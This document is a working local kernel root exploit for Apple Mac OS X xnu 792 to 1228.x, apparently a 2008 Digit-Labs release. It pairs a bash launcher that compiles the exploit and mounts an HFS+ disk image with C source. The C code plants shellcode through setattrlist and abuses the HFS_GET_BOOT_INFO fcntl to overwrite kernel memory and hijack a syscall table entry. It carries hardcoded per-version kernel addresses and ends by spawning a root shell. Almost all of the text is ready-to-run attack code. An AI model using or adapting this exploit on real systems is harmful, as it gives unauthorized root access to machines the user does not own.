#!/bin/bash
# * xnu-hfs-fcntl-v2.sh
# *
# * Copyright (c) 2008 by <mu-b@digit-labs.org>
# *
# * Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit
# * by mu-b - Sat 14 June 2008
# *
# * - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386)
# * Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386)
# * Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386)
# * Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386)
# * Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386)
# * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
# * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
# * Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386)
# * Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386)
# * Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386)
# * Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386)
# *
# * - Private Source Code -DO NOT DISTRIBUTE -
# * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
# *
IMAGE=xnu-hfs
EXPFILE=xnu-hfs-fcntl-v2
echo -en \"Apple MACOS X xnu <= 1228.x local kernel root exploit\\n\" \\
\"by: <mu-b@digit-labs.org>\\n\" \\
\"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\\n\\n\"
if [ ! -f $EXPFILE ]; then
echo -n \"* compiling exploit...\"
gcc -Wall $EXPFILE.c -o $EXPFILE 2> /dev/null
if [ $? != 0 ]; then
echo \" failed\"
exit $?
else
echo \" done\"
fi
fi
if [ ! -f $IMAGE.dmg ]; then
echo -n \"* creating diskimage...\"
hdiutil create -megabytes 1 -fs HFS+ -volname $IMAGE $IMAGE.dmg > /dev/null
if [ $? != 0 ]; then
echo \" failed\"
exit $?
else
echo \" done\"
fi
fi
echo -n \"* attaching/mounting diskimage...\"
hdiutil attach $IMAGE.dmg > /dev/null
if [ $? != 0 ]; then
echo \" failed\"
exit $?
else
echo \" done\"
fi
echo -e \"* executing exploit...\\n\"
./$EXPFILE /Volumes/$IMAGE
echo -n \"* detaching/unmounting diskimage...\"
hdiutil detach /Volumes/$IMAGE > /dev/null
if [ $? != 0 ]; then
echo \" failed\"
exit $?
else
echo \" done\"
fi
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/* xnu-hfs-fcntl-v2.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Apple MACOS X 792.0 <= xnu <= 1228.x local kernel root exploit
* by mu-b - Sat 14 June 2008
*
* - Tested on: Apple MACOS X 10.4.8 (xnu-792.14.14.obj~1/RELEASE_I386)
* Apple MACOS X 10.4.9 (xnu-792.18.5~1/RELEASE_I386)
* Apple MACOS X 10.4.10 (xnu-792.22.5~1/RELEASE_I386)
* Apple MACOS X 10.4.11 (xnu-792.25.20~1/RELEASE_I386)
* Apple MACOS X 10.5.0 (xnu-1228~1/RELEASE_I386)
* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
* Apple MACOS X 10.5.3 (xnu-1228.5.18~1/RELEASE_I386)
* Apple MACOS X 10.5.4 (xnu-1228.5.20~1/RELEASE_I386)
* Apple MACOS X 10.5.5 (xnu-1228.7.58~1/RELEASE_I386)
* Apple MACOS X 10.5.6 (xnu-1228.9.59~1/RELEASE_I386)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <sys/attr.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
#define OSX_TIGER 0x04
#define OSX_LEOPARD 0x05
#define HFS_GET_BOOT_INFO 0x00010004
#define SYSCALL_NUM 21
#define TIGER_HIT_ADDY(a) ((a)+0x20+((sizeof (struct sysent)-sizeof (int))*SYSCALL_NUM))
#define LEOPARD_HIT_ADDY(a) ((a)+0x20+(sizeof (struct sysent)*SYSCALL_NUM))
/* 1228.x, bsd/sys/sysent.h */
struct sysent {
short sy_narg;
char sy_resv;
char sy_flags;
void *sy_call;
void *sy_arg_munge32;
void *sy_arg_munge64;
int sy_return_type;
short sy_arg_bytes;
};
static unsigned char ztiger[] =
\"\\x55\"
\"\\x89\\xe5\"
\"\\x8b\\x45\\x08\"
\"\\x8b\\x40\\x08\"
\"\\xc7\\x40\\x10\\x00\\x00\\x00\\x00\"
\"\\x31\\xc0\"
\"\\xc9\"
\"\\xc3\";
static unsigned char zleopard[] =
\"\\x55\"
\"\\x89\\xe5\"
\"\\x8b\\x45\\x08\"
\"\\x8b\\x40\\x64\"
\"\\xc7\\x40\\x10\\x00\\x00\\x00\\x00\"
\"\\x31\\xc0\"
\"\\xc9\"
\"\\xc3\";
static struct targets {
const char *name;
int shell_addr; /* &copyright */
int sys_addr; /* &nsysent */
const int type;
} targets_t[] = {
/* tiger */
{ \"root:xnu-792.14.14.obj~1/RELEASE_I386\", 0x004518ac, 0x00451920, OSX_TIGER },
{ \"root:xnu-792.18.15~1/RELEASE_I386\", 0x004528ec, 0x00452960, OSX_TIGER },
{ \"root:xnu-792.22.5~1/RELEASE_I386\", 0x004548ec, 0x00454960, OSX_TIGER },
{ \"root:xnu-792.25.20~1/RELEASE_I386\", 0x004548ec, 0x00454960, OSX_TIGER },
/* leopard */
{ \"root:xnu-1228~1/RELEASE_I386\", 0x0050170c, 0x00501780, OSX_LEOPARD },
{ \"root:xnu-1228.0.2~1/RELEASE_I386\", 0x0050270c, 0x00502780, OSX_LEOPARD },
{ \"root:xnu-1228.3.13~1/RELEASE_I386\", 0x0050470c, 0x00504780, OSX_LEOPARD },
{ \"root:xnu-1228.5.18~1/RELEASE_I386\", 0x0050770c, 0x00507780, OSX_LEOPARD },
{ \"root:xnu-1228.5.20~1/RELEASE_I386\", 0x0050770c, 0x00507780, OSX_LEOPARD },
{ \"root:xnu-1228.7.58~1/RELEASE_I386\", 0x0050770c, 0x00507780, OSX_LEOPARD },
{ \"root:xnu-1228.9.59~1/RELEASE_I386\", 0x0050A70c, 0x0050A780, OSX_LEOPARD },
{ NULL, 0, 0, 0 },
};
int
main (int argc, char **argv)
{
struct utsname p_uname;
struct sysent fsysent;
struct attrlist attr;
char buf_attr[2048], *ptr;
int shell_addr, sys_addr, sysent_addr;
int fd, id, i, n, type;
printf (\"Apple MACOS X xnu <= 1228.x local kernel root exploit\\n\"
\"by: <mu-b@digit-labs.org>\\n\"
\"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\\n\\n\");
if (argc < 2)
{
fprintf (stderr, \"Usage: %s <hfs volume>\\n\", argv[0]);
exit (EXIT_FAILURE);
}
shell_addr = 0;
sys_addr = 0;
type = 0;
uname (&p_uname);
ptr = strrchr (p_uname.version, \' \') + 1;
for (i = 0; targets_t[i].name; i++)
if (strcmp (targets_t[i].name, ptr) == 0)
{
shell_addr = targets_t[i].shell_addr;
sys_addr = targets_t[i].sys_addr;
type = targets_t[i].type;
break;
}
if (targets_t[i].name == NULL)
{
fprintf (stderr, \"%s: unsupported xnu version found :( [%s]\\n\",
argv[0], ptr);
exit (EXIT_FAILURE);
}
printf (\"* getattrlist...\");
fflush (stdout);
attr.bitmapcount = ATTR_BIT_MAP_COUNT;
attr.commonattr = ATTR_CMN_FNDRINFO;
attr.volattr = 0;
attr.dirattr = 0;
attr.fileattr = 0;
attr.forkattr = 0;
n = getattrlist (argv[1], &attr, (void *) buf_attr, sizeof (buf_attr), 0);
if (n < 0)
{
fprintf (stderr, \"\\n%s: getattrlist failed\\n\", argv[0]);
exit (EXIT_FAILURE);
}
printf (\"done\\n\");
printf (\"** attrlist length: %d\\n\", *(int *) &buf_attr[0]);
printf (\"** fndrinfo: \");
for (i = 4; i < *(int *) &buf_attr[0]; i++)
printf (\"%c\", buf_attr[i]);
printf (\"\\n* done\\n\\n\");
if (type == OSX_TIGER)
memcpy (&buf_attr[4], ztiger, sizeof (ztiger) - 1);
else if (type == OSX_LEOPARD)
memcpy (&buf_attr[4], zleopard, sizeof (zleopard) - 1);
else
{
fprintf (stderr, \"\\n%s: unknown type!\\n\", argv[0]);
exit (EXIT_FAILURE);
}
printf (\"* setattrlist...\");
fflush (stdout);
attr.bitmapcount = ATTR_BIT_MAP_COUNT;
attr.commonattr = ATTR_CMN_FNDRINFO;
attr.volattr = ATTR_VOL_INFO;
attr.dirattr = 0;
attr.fileattr = 0;
attr.forkattr = 0;
n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0);
if (n < 0)
{
fprintf (stderr, \"\\n%s: setattrlist failed\\n\", argv[0]);
exit (EXIT_FAILURE);
}
printf (\"done\\n\");
sleep (2);
fd = open (argv[1], O_RDONLY);
if (fd < 0)
{
fprintf (stderr, \"%s: open failed\\n\", argv[0]);
exit (EXIT_FAILURE);
}
printf (\"* overwriting @0x%08X\\n\", shell_addr);
fflush (stdout);
n = fcntl (fd, HFS_GET_BOOT_INFO, shell_addr);
if (n < 0)
{
fprintf (stderr, \"%s: fcntl failed\\n\", argv[0]);
exit (EXIT_FAILURE);
}
printf (\"* done\\n\\n\");
fsysent.sy_narg = 1;
fsysent.sy_resv = 0;
fsysent.sy_flags = 0;
fsysent.sy_call = (void *) shell_addr;
fsysent.sy_arg_munge32 = NULL;
fsysent.sy_arg_munge64 = NULL;
fsysent.sy_return_type = 0;
fsysent.sy_arg_bytes = 4;
memcpy (&buf_attr[4], &fsysent, sizeof (struct sysent));
printf (\"* setattrlist...\");
fflush (stdout);
attr.bitmapcount = ATTR_BIT_MAP_COUNT;
attr.commonattr = ATTR_CMN_FNDRINFO;
attr.volattr = ATTR_VOL_INFO;
attr.dirattr = 0;
attr.fileattr = 0;
attr.forkattr = 0;
n = setattrlist (argv[1], &attr, (void *) &buf_attr[4], sizeof (buf_attr) - 4, 0);
if (n < 0)
{
fprintf (stderr, \"\\n%s: setattrlist failed\\n\", argv[0]);
exit (EXIT_FAILURE);
}
printf (\"done\\n\");
sleep (2);
if (type == OSX_TIGER)
sysent_addr = TIGER_HIT_ADDY(sys_addr);
else if (type == OSX_LEOPARD)
sysent_addr = LEOPARD_HIT_ADDY(sys_addr);
else
{
fprintf (stderr, \"\\n%s: unknown type!\\n\", argv[0]);
exit (EXIT_FAILURE);
}
printf (\"* overwriting @0x%08X\\n\", sysent_addr);
printf (\"** sysent[%d].sy_call: 0x%08X\\n\", SYSCALL_NUM, shell_addr);
fflush (stdout);
n = fcntl (fd, HFS_GET_BOOT_INFO, sysent_addr);
if (n < 0)
{
fprintf (stderr, \"%s: fcntl failed\\n\", argv[0]);
exit (EXIT_FAILURE);
}
printf (\"* done\\n\\n\");
printf (\"* jumping...\");
sleep (2);
n = syscall (SYSCALL_NUM, NULL);
printf (\"done\\n\\n\");
id = getuid ();
printf (\"* getuid(): %d\\n\", id);
if (id == 0)
{
printf (\"+Wh00t\\n\\n\");
/* exec shell, for some reason execve doesn\'t work!?$! */
system (\"/bin/bash\");
}
else
fprintf (stderr, \"%s: failed to obtain root :(\\n\", argv[0]);
return (EXIT_SUCCESS);
}
京公网安备 11010502034610号
暂无评论